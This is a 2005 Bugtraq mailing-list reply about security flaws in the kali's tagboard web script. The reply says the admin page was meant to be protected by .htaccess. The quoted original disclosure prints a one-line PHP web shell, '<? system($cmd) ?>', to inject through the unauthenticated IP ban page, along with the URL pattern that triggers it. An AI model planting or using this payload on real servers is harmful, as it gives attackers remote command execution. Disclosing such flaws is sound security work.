[38504] in bugtraq
Re: Vulnerability kali's tagboard
daemon@ATHENA.MIT.EDU (Jason Dodson)
Thu Apr 21 16:24:33 2005
Message-ID: <426801ED.30709@bblfleet.com>
Date: Thu, 21 Apr 2005 15:41:33 -0400
From: Jason Dodson <jasond@bblfleet.com>
MIME-Version: 1.0
To: piker piker <piker_666@hotmail.com>, bugtraq@securityfocus.com
In-Reply-To: <20050422020306.4876.qmail@www.securityfocus.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
I think the idea is that the admin script be behind .htaccess
restrictions, NOT maintained by the software itself.
Jason
piker piker wrote:
>
> There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script:
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
>
>
> Am0s Team
>
>
